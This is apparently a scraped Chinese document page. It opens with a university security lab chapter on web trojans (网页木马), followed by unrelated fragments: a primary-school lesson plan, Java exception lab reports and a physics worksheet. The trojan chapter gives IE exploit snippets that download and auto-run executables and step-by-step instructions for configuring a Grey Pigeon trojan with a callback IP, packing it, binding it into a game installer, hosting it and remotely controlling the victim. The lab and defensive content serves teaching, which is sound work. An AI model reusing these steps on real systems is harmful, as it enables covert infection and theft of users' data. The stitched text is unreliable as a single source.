实验12 网页木马
特洛伊木马
特洛伊木马（Trojan Horse）又称木马，是一种通过各种方法直接或者间接与远程计算机之间建立起连接，使远程计算机能够通过网络控制本地计算机的程序。这个名称来源于希腊神话《木马屠城记》。古希腊有大军围攻特洛伊城，久久无法攻下。于是有人献计制造一只高二丈的大木马，假装作战马神，让士兵藏匿于巨大的木马中，大部队假装撤退而将木马摈弃于特洛伊城下。城中得知解围的消息后，遂将“木马”作为奇异的战利品拖入城内，全城饮酒狂欢。到午夜时分，全城军民尽入梦乡，匿于木马中的将士开秘门游绳而下，开启城门及四处纵火，城外伏兵涌入，部队里应外合，焚屠特洛伊城。后世称这只大木马为“特洛伊木马”。如今黑客程序借用其名，有“一经潜入，后患无穷”之意。
通常木马并不被当成病毒，因为它们通常不包括感染程序，因而并不自我复制，只是靠欺骗获得传播。现在，随着网络的普及，木马程序的危害变得十分强大，概括起来，木马的危害有：窃取数据、接受非授权操作者的指令、篡改文件和数据、删除文件和数据、施放病毒、使系统自毁、远程运行程序、跟踪监视对方屏幕、直接屏幕鼠标控制，键盘输入控制、监视对方任务且可以中止对方任务、锁定鼠标键盘和屏幕、远程重启和关机、远程读取和修改注册表、共享被控制端的硬盘等。
远程控制概述。要了解木马，首先应了解远程控制。所谓远程控制，是指管理人员在异地通过计算机网络异地拨号或双方都接入Internet等手段，联通需被控制的计算机，将被控计算机的桌面环境显示到自己的计算机上，通过本地计算机对远方计算机进行配置、软件安装程序、修改等工作。这里的远程不是字面意思的远距离，一般指通过网络控制远端电脑。早期的远程控制往往指在局域网中的远程控制而言，随着互联网的普及和技术革新，现在的远程控制往往指互联网中的远程控制。当操作者使用主控端电脑控制被控端电脑时，就如同坐在被控端电脑的屏幕前一样，可以启动被控端电脑的应用程序，可以使用或窃取被控端电脑的文件资料，甚至可以利用被控端电脑的外部打印设备（打印机）和通信设备（调制解调器或者专线等）来进行打印和访问外网和内网，就像利用遥控器遥控电视的音量、变换频道或者开关电视机一样。不过，有一个概念需要明确，那就是主控端电脑只是将键盘和鼠标的指令传送给远程电脑，同时将被控端电脑的屏幕画面通过通信线路回传过来。也就是说，控制被控端电脑进行操作似乎是在眼前的电脑上进行的，实质是在远程的电脑中实现的，不论打开文件，还是上网浏览、下载等都是存储在远程的被控端电脑中的。远程控制必须通过网
络才能进行。位于本地的计算机是操纵指令的发出端，称为主控端或客户端，非本地的被控计算机叫做被控端或服务器端。“远程”不等同于远距离，主控端和被控端可以是位于同一局域网的同一房间中，也可以是连入Internet的处在任何位置的两台或多台计算机。
远程控制软件一般分客户端程序(Client)和服务器端程序(Server)两部分，通常将客户端程序安装到主控端的电脑上，将服务器端程序安装到被控端的电脑上。使用时客户端程序向被控端电脑中的服务器端程序发出信号，建立一个特殊的远程服务，然后通过这个远程服务，使用各种远程控制功能发送远程控制命令，控制被控端电脑中的各种应用程序运行。远程控制并不神秘，Windows XP系统中就提供了多种简单的远程控制手段，如远程桌面连接。目前市场上有很多远程控制软件，如PCAnywhere就是一款功能强大的远程控制软件。PCAnywhere是由赛门铁克(Symantec)公司出品的远程控制软件，它功能强大，几乎支持所有的网络连接方式与网络协议，利用PCAnywhere，计算机管理人员可以轻松地实现在本地计算机上控制远程计算机，使得两地的计算机可以协同工作。在实现远程控制的同时，PCAnywhere 还拥有更为完善的安全策略与密码验证机制，从而保证了远程被控主机的安全。
远程控制虽然可以方便地操纵远程计算机，但它也可能给远程计算机带来安全隐患。因为远程计算机一旦成为服务端后，其他人只要知道了这台计算机的IP地址和服务端口，就可以对其控制，带来安全隐患。黑客正是利用了远程控制软件的这种特点，设计了木马程序。其实木马程序的工作原理和远程控制软件是一样的，木马就是一种基于远程控制技术的黑客工具，只是它具有破坏性、隐藏性和非传播性等特点而异。
木马程序一般也是由两部分组成，分别是服务器端和客户端。服务器端程序指的是运行在被控制的电脑的木马程序，该程序为.exe后缀的可执行文件。客户端程序安装在控制端，客户端能够对服务器端的控制。在Windows系统中，木马一般作为一个网络服务程序在中了木马的计算机后台运行，监听本机一些特定端口，这个端口号多数比较大（5000以上，但也有少数是5000以下的）。当该木马相应的客户端程序在此端口上请求连接时，它会与客户程序建立TCP连接，从而被客户端远程控制。
木马和常规远程控制软件的相同点：
1．常规远程控制软件和木马都是用一个客户端通过网络来控制服务端，控制端可以是WEB，也可以是手机，或者电脑，可以说控制端植入哪里，哪里就可以成为客户端，服务端也同样如此；
2．常规远程控制软件和木马都可以进行远程资源管理，比如文件上传下载修改；
3．常规远程控制软件和木马都可以进行远程屏幕监控，键盘记录，进程和窕口查看?
木马和常规远程控制软件的区别：
1．木马有破坏性：比如DDOS攻击、下载者功能、格式化硬盘、肉鸡和代理功能；
2．木马有隐蔽性：木马最戾著的特征就是隐蔽性，也就是服务端是隐藏的，并不在被控者桌面显示，不被被控者察觉，这样一来无疑增加了木马的危害性，也为木马窃取密码提供了方便之门。
远程控制和木马在功能上非常相似，木马可以理解为加了恶意功能的远程控制软件。
木马的分类。
根据木马程序的具体功能，可以分为五类:
1．远程访问型木马。远程访问型木马是现在最广泛的特洛伊木马。这种木马起着远程控制的功能，用起来非常简单，只需先运行服务端程序，同时获得远程主机的IP地址，控制者就能任意访问被控制端的计算机。这种木马可以使远程控制者在本地机器上做任何事情，比如键盘记录、上传和下载功能、发送一个“截取屏幕”等等。这种类型的木马有著名的BO (Back Office)和国产的冰河等。
2．密码发送型木马。密码发送型木马的目的是找到所有的隐藏密码，并且在受害者不知道的情况下把它们发送到指定的信箱。大多数这类木马程序不会在每次系统重启时都自动加载，它们大多数使用25号端口发送电子邮件。
3．键盘记录型木马。键盘记录型木马非常简单的，它只做一种事情，就是记录受害者的键盘敲击，并且在Log文件里做完整的记录。这种木马程序随着系统的启动而启动，知道受害者在线并记录每一个用户事件，然后通过邮件或其他方式发送给控制者。
4．破坏型木马：大部分木马程序只窃取信息，不做破坏性的事件，但破坏型木马却以毁坏并且删除文件为目的。它们可以自动删除受控计算机上所有的.ini.exe文件，甚至格式化受害者的硬盘，系统中的信息会在顷刻间“灰飞烟灭”。
5．FTP型木马：FTP 型木马打开被控制计算机的21号端口，使任何人无需密码就可以用一个FTP客户端程序连接到受控制端计算机，并且可以进行最高权限的上传和下载，窃取受害者的机密文件。
根据木马的网络连接方向，可以分为两类:
1．正向连接型：发起通信的方向为控制端向被控制端发起，这是传统技术，其缺点是不能透过防火墙。
2．反向连接型：发起通信的方向为被控制端向控制端发起，其出现主要是为了解决从内向外不能发起连接的情况的通信要求，已经被较新的木马广泛采用。
黑客要控制远程计算机，必须先将木马程序的服务端程序植入远程计算机中。目前黑客一般通过如下几种方式进行传播：
1．通过E-Mail附件传播；
2．通过网页传播；
3．通过文件传输；
4．通过系统漏洞直接种植。
12.1 网页木马
12.1.1 背景描述
随着信息技术的不断发展，互联网网站已经成为信息传播、流通、交换及存储的重要手段，但是由于承载网站的应用程序具有自身无法完全克服的漏洞问题，为黑客的入侵提供了可乘之机。利用网站漏洞，尤其是WEB 应用程序漏洞：如 SQL 注入等，黑客能够得到 Web 服务器的控制权限，随意篡改网页内容或窃取重要内部数据，更为严重的则是在网页中植入恶意代码，既“网页挂马”。通过这一行为，黑客可以控制网站的访问者甚至包括网站本单位的人员的计算机，从而实现盗取银行帐号、内部机密信息等各种不可告人的目的。由于网页木马制作的简单性和网络漏洞存在的必然性，通过网站漏洞进行网页挂马已经成为当前最流行的网站攻击方法和最受黑客青睐的木马散播方式。
超级巡警团队、数据安全实验室(DSWLAB)等相关部门汇总数据表明：2008年上半年，网页木马急骤增长，专业化、团队式的木马制造者，在攫取巨额非法利益的同时，给广大网民的正常工作学习带来了很大的不便，使网友们的利益受到了极大的损失。巨额利润、Web 应用程序漏洞、社会工程学成为2008年上半年的网页木马增长的主要条件。很多流行病毒（如：机器狗、磁碟机、游戏盗号病毒等）除了利用程序自身的传播机制进行传播外，也都会利用各种网页木马来扩大其破坏范围。
图12-1-1网马增长曲线图
从图12-1-1中可以看出，短短十周的时间内国内网络上的网页木马竟达到了10多倍的增长。由于一个网页木马对应着成百上千的，甚至是数以万计的计算机网络用户，所以通过网页木马被感染的计算机是放射性增长的。超级巡警团队监控数据显示，在抽样调查所统计的时间内，被感染的网页数量达到1449034，几乎是平均每个网民每天至少会浏览到一个恶意链接。被感染的网页增长走势如下图12-1-2：
图12-1-2被感染网页增长曲线图
根据瑞星“云安全”数据中心的统计数据(见图12-1-3和图12-1-4)表明，2009年上半年，瑞星“云安全”系统拦截到的挂马网页数累计达2.9亿个，共有11.2亿人次网民遭木马攻击，平均每天有622万余人次网民访问挂马网站；其中大型网站、流行软件被挂马的有35万个（以域名计算）。网民被挂马网站攻击成功时使用的软件，主要是各种浏览器，以及内嵌了网页的流行软件。根据以上瑞星公司的统计研究表明，目前的互联网非常脆弱，各种热点新闻、流行软件、社交（SNS）网站、浏览器插件的漏洞层出不穷，为黑客提供了大量入侵和攻击的机会。网页取代网络成为攻击活动的主要渠道，“挂马网页”已经成为黑客传
播病毒的主要手段。目前90%以上的木马病毒通过“挂马”方式传播，这些几乎都源于系统漏洞、后台服务器存在不安全设置、网站实现代码缺陷（如SQL注入、论坛代码缺陷、跨站脚本等）、或网站提供Web服务的程序漏洞、IIS漏洞、Apache漏洞等隐患，给黑客可乘之机；其中访问量越大的网站越有被挂马的可能，因为此类网站被黑客关注程度较高；另外就是政府机关网站、各大中型企业网站，由于专业性技术人员缺乏，网站大多由第三方公司外包开发，存在缺陷较多，也最容易被挂马。
图12-1-3 2009年上半年截获木马网站数量统计
图12-1-4 2009年上半年挂马网站攻击次数统计
另据中国教育和科研计算机网计算机安全应急相应组2010年6月的统计，挂马网站数量仍呈上升趋势，并且占当月攻击事件总和的39%，如图12-1-5所示。
图12-1-5 2010年05月～06月CERNET安全投诉事件统计
网页木马作为打开网络上计算机的“弹头”，它会通过各种系统漏洞或应用程序漏洞，率先获取网络终端计算机的某种权限。通过已经获得的权限，去指定的服务器下载回来“有效载荷”。而这些“有效载荷”就是数十个盗取各种游戏软件、即时通讯软件、邮箱等密码或敏感信息的木马。
12.1.2 工作原理
1.网页木马的基本概念
网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。
“网页木马”并非万能的，它一般是通过系统中的漏洞（例如浏览器的漏洞、浏览器插件的漏洞等）来对用户的主机进行攻击，进而获取用户主机中的敏感数据，例如QQ号、网银账号、游戏ID等。如果主机已经安装了最新的安全补丁，大多数网页木马都无法对该主机造成伤害。但是，也有不少网页木马是通过系统未公开的漏洞来攻击用户主机，即是说，即使用户主机安装齐全所有安全补丁，也无法做到100%免疫。
2.网页木马流行的原因。
（1）网页木马在各种网络威胁中技术含量相对来说属于较低的类型。这就意味着他便于制作推广；
（2）免费空间的增多和个人建站的流行，给网页木马客观附带的造就了很大的生存空
间；
（3）国内上网人数的奇迹般的递增，使网页木马的受众层增多；
（4）国内上网人群目前普遍安全意识较低，很多人使用盗版系统，有时候无法更新补丁或及时更新补丁，使针对ie漏洞型的网页木马生存时间延长；
（5）网页木马见效快；
（6）很多间接推动网络安全，擅长脚本技术的人很及时地推出了众多简便式的网页木马生成器或网页木马程式。
3.网页木马的攻击原理
打开一个网页，IE浏览器不会自动下载程序和运行程序，这是因为，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面列举一些IE浏览器等存在的漏洞来分别说明为什么利用网页木马可以下载程序和运行程序。
（1）下载可执行文件
index里有一个代码漏洞< LINK href="ray.exe" rel=stylesheet type=text/css >，IE会把可执行文件误认为CSS样式表而下载到IE的临时文件目录。
可以利用< SCRIPT LANGUAGE="icyfoxlovelace" src="< A href= 'https://www.360docs.net/doc/336412235.html,/1.exe">< /SCRIPT'>https://www.360docs.net/doc/336412235.html,/1.exe">< /SCRIPT>这段代码，把这段代码插入到网页源代码的…之间,运行后就会发现在IE的临时目录Temporary Internet Files下，已经下载了1.exe这个病毒文件。
（2）自动运行程序
< SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application");https://www.360docs.net/doc/336412235.html,space("c:\\Windows\\").items().ite m("Notepad.exe").invokeverb(); < /SCRIPT>
把这段代码插入到网页源代码的…之间，然后用IE打开该网页，这段代码可以在IE 中自动打开记事本。
这段代码使用了shell.application控件，该控件能使网页获得执行权限，替换代码中的“Notepad.exe”（记事本）程序，就可以用它自动运行本地电脑上的任意程序。
通过以上的例子可以看出，利用IE的漏洞，在网页中插入相关的代码，IE完全可以自动下载和运行程序。不过，IE一旦打了相关补丁，这些代码就会失去作用。
另外，这些代码要运行和下载程序，有些杀毒软件的网页监控会视它们为病毒，为了逃
避追杀，黑客可能会使用一些工具对网页的源代码进行加密处理。
4.网页木马的基本工作流程：
（1）受众打开含有网页木马代码的网页；
（2）网页木马利用ie漏洞或者一些脚本功能下载一个可执行文件或脚本。
5.网页木马的防范：
只靠杀毒软件和蓝盾防火墙等是远远不够的，因为一旦黑客使用了反弹端口的个人版木马（个人反汇编的一些杀毒软件无法识别的木马），那么杀毒软件和防火墙就无可奈何，所以，网页木马的防范要从它的原理入手，从根本上进行防范。（1）即时安装安全补丁。经常到相关网站去下载并安装最新的安全补丁是防范网页木马比较有效的办法。（2）提高IE的安全级别，禁用脚本和ActiveX控件。网页木马是利用IE脚本和ActiveX控件上的一些漏洞下载和运行木马的，只要禁用了脚本和ActiveX控件，就可以防止木马的下载和运行。然而，禁用脚本和ActiveX控件会使一些网页的功能和效果失去作用，所以是否禁用，要根据自己对安全的需要来定。除此之外，还应该做到：（1）加强服务器的安全管理，避免被黑客入侵或者感染病毒。（2）安装ARP防火墙，避免受局域网内ARP欺骗程序、ARP病毒的影响。
12.1.3 实验列表
【实验一】网页木马实验
【实验分析】
实验目的：
●掌握网页木马的基本概念与木马的特点。
●了解网页木马的流行原因。
●理解网页挂马技术的整个详细流程。
●掌握网页木马的防范策略。
场景描述：
图12-1-6 实验拓扑图
本实验可以在虚拟机环境下完成，实验拓扑图如图12-1-6所示，对应IP地址与角色如表12-1-1所示。实验思路是攻击主机将捆绑了木马的工具放到web服务器上，让受害主机从web服务器下载捆绑了木马的工具并执行。
表12-1-1 对应IP地址与角色
实验工具：万能文件免杀捆绑器、灰鸽子2008。
【实验步骤】
1．攻击源机器网络配置如下（图12-1-7）：
图12-1-7 攻击源网络配置
2．受害机器网络配置如下（图12-1-8）：
图12-1-8 受害主机网络配置
3．WEB服务器的网络配置如下（图12-1-9）：
图12-1-9 WEB服务器的网络配置
4．运行灰鸽子软件，准备生成灰鸽子木马服务端程序（图12-1-10）：
图12-1-10灰鸽子2008主界面
5．点击“配置服务程序”,在说明栏中输入“192.168.228.177”（图12-1-11）
图12-1-11 配置服务端程序
6．选择“安装选项”，在“程序安装成功后提示安装成功”前打上勾；
7．在“高级选项中”，“使用UPX加壳”，点击“生成服务器”（图12-1-12），生成
灰鸽子木马程序文件“Server.exe”，将Server.exe复制到“连连看”文件夹；
8．运行Files.exe万能文件免杀捆绑器（图12-1-13）；
9．添加捆绑文件“llk46jzb.exe”和“Server.exe”（图12-1-14）；
图12-1-14 点击右侧的“添加文件”选项后，添加要捆绑的文件10．点击“捆绑文件”，保存生成了被捆绑了木马程序的游戏程序文件。（注意给捆绑木
马修改个名字如：游戏之类的）（图12-1-15）；
图12-1-15 点击“捆绑文件”按钮进行文件捆绑
11．打开攻防实验室，点击“网页挂马”，将文件上传到“网页挂马”（图12-1-16）；
图12-1-16 打开实验页面并上传捆绑木马文件
`12.打开实验页面，点击“连连看游戏点击下载”并安装游戏（图12-1-17）；
图12-1-17 点击“连连看游戏点击下载”安装游戏；
13.在受害主机里，在网页上下载游戏并运行，哪么捆绑在一起的木马程序也将自动运行，下载连连看游戏并安装。安装完成后提示安装成功。运行“连连看”游戏，也能正常运行。
14.回到攻击主机，灰鸽子上显示中了木马的机器已经上线，这下就可以控制这台中马的机器了，在攻击源机器上的灰鸽子软件上可以看到目标机器的相关信息情况（图12-1-18）；
图12-1-18 在攻击端连接目标成功
15.可以远程登陆到受害主机的桌面，也可以在命令行下查看远程机器的网络配置（图12-1-19）。
图12-1-19 远程登录目标主机桌面
解析网页后门与网页挂马原理
解析网页后门与网页挂马原理 转自IT168 网站被挂马，被植入后门，这是管理员们无论如何都无法忍受的。Web服务器被攻克不算，还“城门失火殃及池鱼”，网站的浏览者也不能幸免。这无论是对企业的信誉，还是对管理员的技术能力都是沉重的打击。下面笔者结合实例对网页后门及其网页挂马的技术进行解析，知己知彼，拒绝攻击。 一、前置知识 网页后门其实就是一段网页代码，主要以ASP和PHP代码为主。由于这些代码都运行在服务器端，攻击者通过这段精心设计的代码，在服务器端进行某些危险的操作，获得某些敏感的技术信息或者通过渗透，提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道，比一般的入侵更具有隐蔽性。 网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候，这段代码被执行，然后下载并运行某木马的服务器端程序，进而控制浏览者的主机。 二、网页挂马的类型 1、框架嵌入式网络挂马 网页木马被攻击者利用iframe语句，加载到任意网页中都可执行的挂马形式，是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下： 解释：在打开插入该句代码的网页后，就也就打开了https://www.360docs.net/doc/336412235.html,/muma.html页面，但是由于它的长和宽都为“0”，所以很难察觉，非常具有隐蔽性。下面我们做过做个演示，比如在某网页中插入如下代码： 在“百度”中嵌入了“IT168安全版块”的页面，效果如图1。(图1)
第12课《夜晚的实验》
苏教版语文六年级下册 12 夜晚的实验 一、教学目标： 1．学会本课3个生字，理解由生字组成的新词。 2．正确、流利、有感情地朗读课文，概括课文主要内容，能联系课文语言环境，懂得课后作业中“瞎子”、“穿透”、“听|”等词的意思及其所带引号的用法。 3．通过朗读、复述等一系列语言训练，感受并学习科学家细心观察、善于思考、大胆实验、潜心研究、遭受失败不气馁、善于反思，不断利用科学技术造福人类的科学精神。 4.细读课文第二部分，体会作者是如何把“第一次实验”的过程写具体的，学习作者详略得当的写作方法。采用先分次再整体的方法复述实验的过程。 二、教学重、难点： 重点：学习科学家细心观察、善于思考、大胆实验、潜心研究、遭受失败不气馁、善于反思，不断利用科学技术造福人类的科学精神。 难点：在读中整体感知，在读中有所感悟，在读中培养语感，在读中受到情感的熏陶。 三、教学评价设计： 1.在检查学生预习环节，通过查看预习单、听写、轮读、汇报、交流等形式了解学生独立识字、写字、读书及对课文内容掌握情况，以学定教。 2.在初读感知环节，通过给段落加小标题，提炼课文内容，理清文章的表达顺序，进一步提升学生整体把握文本的能力。 3.在精读感悟环节，采用默读、圈画、批注、交流、汇报等形式，引导学生抓住关键词句并联系上下文理解课文内容，学习科学家细心观察、善于思考、大胆实验、潜心研究、遭受失败不气馁、善于反思，不断利用科学技术造福人类的科学精神。 4.在整个学习过程中，关注学生的情感体验，及时作出鼓励性的评价，注意培养学生自主学习、合作学习的意识和能力。
5.借助拓展小练笔，搜集有关仿生学的知识和例子，促进学生语文素养的提高。 四、教与学的准备： 学生：完成预习单。（见后附件1） 教师：1.查看学生预习单，了解学情。 2.多媒体课件。 五、教学课时：2 课时 六、教学设计： 第一课时 环节一、整体感知——初读感知，整体把握 （一）导入新课 课件导入 1 ．播放运用超声波来为飞机、轮船导航，超声波治病，超声波勘探的几组CAI 课件，让学生体会超声波的广泛用途。 (“超声波”这个词语对六年级的学生来说还是比较陌生的。通过课件的介绍，一方面让他们了解超声波的知识，另一方面也为学习课文设下悬念。 ) 2 ．你们知道超声波是怎样被发现的吗？它缘于一位科学家的夜间实验。 3 ．出示课题：《夜晚的实验》。 板书课题：夜晚的实验(读题) 看了课题，你想知道什么? 有什么疑问吗？ (此课题信息储藏量大，学生可能会提很多问题。如：谁做实验？为什么在夜晚做实验？怎样做实验？实验的结论是什么？它与超声波有何联系？等等。) （二）借助预习单，检查预习。 1．检查生字的识、写。 （1）投影出示预习单，检查学生对文中难读和易读错词语的朗读，指导学生读准多音字“核”以及外国人名。
JAVA 异常处理实验报告
实验三异常处理 [实验目的] 1.掌握异常处理方法及熟悉常见异常的捕获方法。 [实验内容] 1.练习捕获异常、声明异常、抛出异常的方法、熟悉try和catch 子句的使用。 [实验步骤与要求] 第1题异常处理 要求声明定义两个Exception的异常子类：NoLowerLetter类和NoDigit类。再声明一个People类，该类中的void printLetter(char c)方法抛出NoLowerLetter异常类对象，void PrintDigit(char c)方法抛出NoDigit异常类对象。 [作业提交] 将代码贴在下面： class NoLowerLetter extends Exception{ String message; NoLowerLetter(char c){ message=c+"不是正数"; } public String getMessage(){ return message; } } class NoDigit extends Exception{ String message; NoDigit(char c){ message=c+"不是偶数"; }
public String getMessage(){ return message; } } class People{ public void printLetter(char c) throws NoLowerLetter{ if(c<0){ NoLowerLetter ex=new NoLowerLetter(c); throw(ex); } double number=Math.sqrt(c); System.out.println(c+"的平方根："+number); } public void PrintDigit(char c) throws NoDigit{ if(c%2!=0){ NoDigit ex=new NoDigit(c); throw(ex); } double number=Math.sqrt(c); System.out.println(c+"的平方根："+number); } } public class bianma{ public static void main(String args[]){ People p=new People(); try{ p.printLetter('Q'); p.printLetter(' '); } catch( NoLowerLetter e){ System.out.println(e.getMessage()); } try{ p.PrintDigit('d'); p.PrintDigit('a'); } catch( NoDigit e){ System.out.println(e.getMessage()); } } } 将结果运行截屏贴在下面：
12、夜晚的实验
《夜晚的实验》教学设计 教材解析： 《夜晚的实验》是六年级下册第4 单元的一篇叙事性课文，讲述了意大利科学家斯帕拉捷通过夜晚的4 次实验，揭开了蝙蝠是依靠听觉来飞行的秘密，人们由此发现了超声波，并将超声波广泛应用于航空、航海、工业、农业、军事、医疗等领域。文章用浅显的语言介绍了斯帕拉捷的实验过程，用形象的比喻说明了蝙蝠如何利用超声波探路以及超声波的广泛用途，告诉孩子们任何有意义的发现都源于对生活的细心观察，认真实验。 设计思路： 遵循高年级学生学习语文的特点，采取“ 质疑式探究法” ，让学生自主发现问题，以问题为介，多次走进文本，层层深入，充分与文本对话，由表及里，实现三维目标的整合。 教学目标： 1 ．学会本课4 个生字以及由生字组成的新词。 2 ．理清记叙顺序，把握故事梗概。 3 ．理解课文内容，知道任何有意义的发现都源于对生活的细心观察，认真实验。 重点难点： 1、指导学生正确、流利、有感情地朗读课文，复述课文。 2、感受科学家细心观察、善于思考、大胆实验、潜心研究、不断利用科学技术造福人类的科学精神。 教学流程： 一、激情入境，引入文本 1 ．播放运用超声波来为飞机、轮船导航，超声波治病，超声波勘探的几组CAI 课件，让学生体会超声波的广泛用途。(“ 超声波” 这个词语对六年级的学生来说还是比较陌生的。通过课件的介绍，一方面让他们了解超声波的知识，另一方面也为学习课文设下悬念。) 2 ．你们知道超声波是怎样被发现的吗？它缘于一位科学家的夜间实验。 3 ．出示课题：《夜晚的实验》。 二、扣题生疑，走近文本 1 ．看到这个题目，你有哪些疑问？( 此课题信息储藏量大，学生可能会提很多问题。如：谁做实验？为什么在夜晚做实验？怎样做实验？实验的结论是什么？它与超声波有何联系？等等。教师要及时梳理问题。) 2 ．课题是文章的眼睛，我们要善于从这里发现问题，再带着这些问题读书，才是有目的的读，才会提高读的效率。让我们带着这些问题走进课文吧! (“ 学贵有疑” 。引导学生由课题生发开去，进行质疑问难，激活了学生的思维，使他们一开始就处于“ 愤”“ 悱” 的状态，激发了读书的欲望，也培养了自读能力。) 三、扫除障碍，走进文本 1 ．自由朗读课文。 2 ．学习生字，检查认读，读准后再写写。
(完整word版)初中物理力学实验专题训练
初中物理力学实验专题训练 1．天平：某同学用托盘天平测量物体质量时 （1）他把已经调节好的托盘天平搬到另一实验桌上，则使用前应（） A．只要将天平放在水平台上B．只要调节横梁平衡 C．不需要再调节D．先将天平放在水平台上，再调节横梁平衡 （2）当他把天平重新调好后，就把药品放在天平的右盘中，用手向左盘中加减砝码，并移动游码，直到指针指到分度盘的中央，记下盘中砝码的质量就等于物体的质量。他的操作中的错误是。 （3）当他改用正确的操作方法后，盘中砝码和游码的位置如图3所示，则物体的质量是。 2．量筒：用量筒测液体的体积时，筒中的液面是凹形的，测量者的视线应与凹面的____相平（填“顶部”、“底部”）。如图4所示，其中同学读数正确，量筒中液体的体积为 cm3。测量形状不规则的固体体积，由图5可知，液体的体积为_____cm3，固体的体积为____cm3。 3．弹簧测力计：使用弹簧测力计应注意的是：使用前要观察量程和分度值，指针要___________。使用过程中，指针、弹簧不得与外壳有摩擦．使用过程中，拉力不能超过弹簧测力计的_________。如图6所示，弹簧测力计测量范围是_______，指针所示被测物重是______N。 4．压强计：研究液体压强所用的仪器是_______，它是根据U形管两边液面出现的_________来测定液体内部压强的。 （1）在做“液体内部的压强”实验时，如图7所示，该实验的现象说明。 图7
（2 序号液体深度 （cm） 橡皮膜 方向 压强计 左液面 （mm） 右液面 （mm） 液面高度差 （mm） 1 水 3朝上18621428 23朝下18621428 33朝侧面18621428 46朝侧面17122958 59朝侧面15824284 6盐水9朝侧面15424692 根据上表中的数据，比较序号为___________的三组数据可得出结论：液体的压强随深度增加而增大；比较序号为__________的三组数据可提出结论：在同一深度，液体向各个方向的压强相等；比较序号为______________的两组数据可得出结论：不同液体的压强还跟密度有关。 5．如图12所示，是一个小球运动时的频闪照片，频闪时间间隔为0．02s，闪亮时间千分之一秒可忽略不计。根据照片记录的小球位置，分析解决下列问题： （1）小球从位置a 运动到位置d所用的时间是多少？ （2）小球所作的运动是不是匀速运动？判断的依据是什么？ （3）小球从位置a 运动到位置d 的平均速度有多大？ 图12 6．小明同学通过实验来研究影响浮力大小的因素，做了如图18所示的一系列实验。 图18
Web安全之网页木马的检测与防御
Web安全之网页木马的检测与防御随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生，基于Web环境的互联网应用越来越广泛，企业信息化的过程中各种应用都架设在Web平台上，Web业务的迅速发展也引起黑客们的强烈关注，接踵而至的就是Web安全威胁的凸显，黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限，轻则篡改网页内容，重则窃取重要内部数据，更为严重的则是在网页中植入恶意代码，使得网站访问者受到侵害。在Web安全的攻击种类中，网页木马一直是一个不容忽视的问题。黑客把一个木马程序上传到一个网站里面然后用木马生成器生一个网马，再上到空间里面，再加代码使得木马在打开网页里运行，从而获取用户的隐私信息。随着网页木马破坏性的增大，人们对网页木马的重视程度也在逐渐增加。 1网页木马简介 1.1网页木马的定义 网页木马是在宏病毒、木马等恶意代码基础上发展出来的一种新形态的恶意代码.类似于宏病毒通过Word 等文档中的恶意宏命令实现攻击.网页木马一般通过HTML 页面中的一段恶意脚本达到在客户端下载、执行恶意可执行文件的目的,而整个攻击流程是一个“特洛伊木马式”的隐蔽的、用户无察觉的过程,因此,国内研究者通常称该种攻击方式为“网页木马”. 目前,学术界对网页木马尚无一个明确的、统一的定义.Wiki 将它定义为一种用户不知情的下载,发生的场景可以是用户阅览邮件、访问网站页面以及点击一个欺诈性的弹出框时,等等,该定义属于字面解释,包括的内容比较宽泛,如利用社会工程学手段欺骗用户下载也属于其涵盖范围.此外,Wiki 还用Drive-by-Install 这一术语来表示下载并安装恶意程序的过程;Google 的Provos 等人将网页木马限定为客户端在访问页面时受到攻击并导致恶意可执行文件的自动下载、执行,该定义指出了“访问页面时受到攻击”和“自动下载、自动执行恶意可执行文件”两个关键点;UCSB 的Cova 等人进一步指出,网页木马是以一段JavaScript 代码作为攻击向量的一种客户端攻击方式,而实际上,还存在一些通过CSS 元素、VBScript 脚本发起攻击的网页木马。 综上所述,网页木马定义为:一种以JavaScript,VBScript,CSS 等页面元素作为攻击向量,利用浏览器及插件中的漏洞,在客户端隐蔽地下载并执行恶意程序的基于Web 的客户端攻击。 1.2网页木马的攻击流程 网页木马采用一种被动攻击模式(即pull-based 模式):攻击者针对浏览器及插件的某个特定漏洞构造、部署好攻击页面之后,并不像发送垃圾邮件那样主动将内容推送给受害用户(即push-based 模式),而是被动地等待客户端发起的页面访问请求.其典型攻击流程如图 1 所示:1. 客户端访问攻击页面;2. 服务器做出响应,将页面内容返回给客户端;3. 页面被浏览器加载、渲染,页面中包含的攻击向量在浏览器中被执行并尝试进行漏洞利用;4,5. 存在该漏洞的客户端被攻破,进而下载、安装、执行恶意程序。
实验 异常处理
实验报告六 一【实验目的】 1.掌握异常的基本概念。 2.理解异常处理机制。 3.掌握创建自定义异常的方法。 二【实验内容】 Java提供了异常处理机制，当程序中发生异常时，程序产生一个异常事件，相应地生成异常对象。系统从生成对象的代码开始，沿方法的调用栈逐层回溯，寻找相应的处理代码，并把异常对象交给该方法处理。 实验1 录入如下源程序： 1、 public class Ex7_1 { public static void main(String[] args) { String output[] ={ "The ","quick ","brown ","fox ","jumps ", "over ","the ","lazy ","dog."}; int i =0; while(i<12){ System.out.print(output[i++]); } System.out.println("haha..."); } } 2、保存程序Ex7_1.java，编译运行程序，观察并分析程序的运行结果。The quick brown fox jumps
